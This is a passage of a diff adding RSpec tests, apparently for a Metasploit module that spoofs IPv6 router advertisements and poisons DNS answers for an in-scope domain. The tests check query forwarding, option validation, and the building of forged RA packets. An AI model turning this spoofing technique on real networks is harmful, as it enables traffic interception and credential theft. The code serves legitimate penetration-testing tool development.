expect(aaaa.address.to_s.downcase).to eq('dead:beef::53') + end + + it 'forwards out-of-scope queries to the default handler' do + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) + end + + it 'logs the peer as an IPv6-safe bracketed authority, not a bare host:port' do + allow(dns_service).to receive(:send_response) + expect(mod).to receive(:print_good).with(a_string_matching(/\[fe80::5\]:546/)) + mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) + end + end + + describe '#run validation' do + it 'rejects a non-IPv6 SPOOF_IP6' do + mod.datastore['SPOOF_IP6'] = '10.0.0.1' + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) + end + + it 'rejects an RA_INTERVAL below 1, since 0 or negative would flood the segment' do + mod.datastore['RA_INTERVAL'] = 0 + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /RA_INTERVAL must be >= 1/) + end + end + + describe 'SRVHOST default (from shared NamePoisoner)' do + it 'defaults to :: so the DNS server binds IPv6 and receives the steered queries' do + expect(mod.datastore['SRVHOST']).to eq('::') + end + + it 'forwards an in-scope A query instead of answering it with the IPv6 SRVHOST' do + # With an IPv6 SRVHOST there is no meaningful A answer, so the query is + # forwarded (victim stays functional) rather than poisoned with a bogus + # address such as the old 0.0.0.0 default. + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'A')) + end + end + + describe '#handle_router_solicitation' do + before do + mod.instance_variable_set(:@ra_smac, '00:11:22:33:44:55') + mod.instance_variable_set(:@ra_shost, 'fe80::1') + mod.instance_variable_set(:@ra_domains, []) + mod.instance_variable_set(:@ra_router_lifetime, 0) + end + + def router_solicitation(src_mac: 'aa:bb:cc:dd:ee:ff', src_addr: 'fe80::5') + p = PacketFu::IPv6Packet.new + p.eth_saddr = src_mac + p.ipv6_saddr = src_addr + p.ipv6_daddr = 'ff02::2' + p.ipv6_next = 0x3a + p.payload = [133, 0, 0, 0].pack('CCnN') + p.to_s + end + + it 'answers a solicitation with a unicast RA back to the solicitor' do + injected = nil + allow(mod).to receive(:inject) { |data| injected = data } + + expect(mod.send(:handle_router_solicitation, router_solicitation)).to be(true) + + ra = PacketFu::Packet.parse(injected) + expect(ra.eth_daddr).to eq('aa:bb:cc:dd:ee:ff') + expect(ra.ipv6_daddr).to eq('fe80::5') + expect(ra.icmpv6_type).to eq(134) # Router Advertisement + end + + it 'multicasts the RA when the solicitation source is unspecified' do + injected = nil + allow(mod).to receive(:inject) { |data| injected = data } + + mod.send(:handle_router_solicitation, router_solicitation(src_addr: '::')) + + ra = PacketFu::Packet.parse(injected) + expect(ra.ipv6_daddr).to eq('ff02::1') + end + + it 'ignores a nil read and does not inject' do + expect(mod).not_to receive(:inject) + expect(mod.send(:handle_router_solicitation, nil)).to be(false) + end + + it 'ignores non-solicitation traffic' do + allow(mod).to receive(:inject) + p = PacketFu::IPv6Packet.new + p.ipv6_next = 0x3a + p.payload = [128, 0, 0, 0].pack('CCnN') # Echo request, not a solicitation + expect(mod).not_to receive(:inject) + expect(mod.send(:handle_router_solicitation, p.to_s)).to be(false) + end + end +end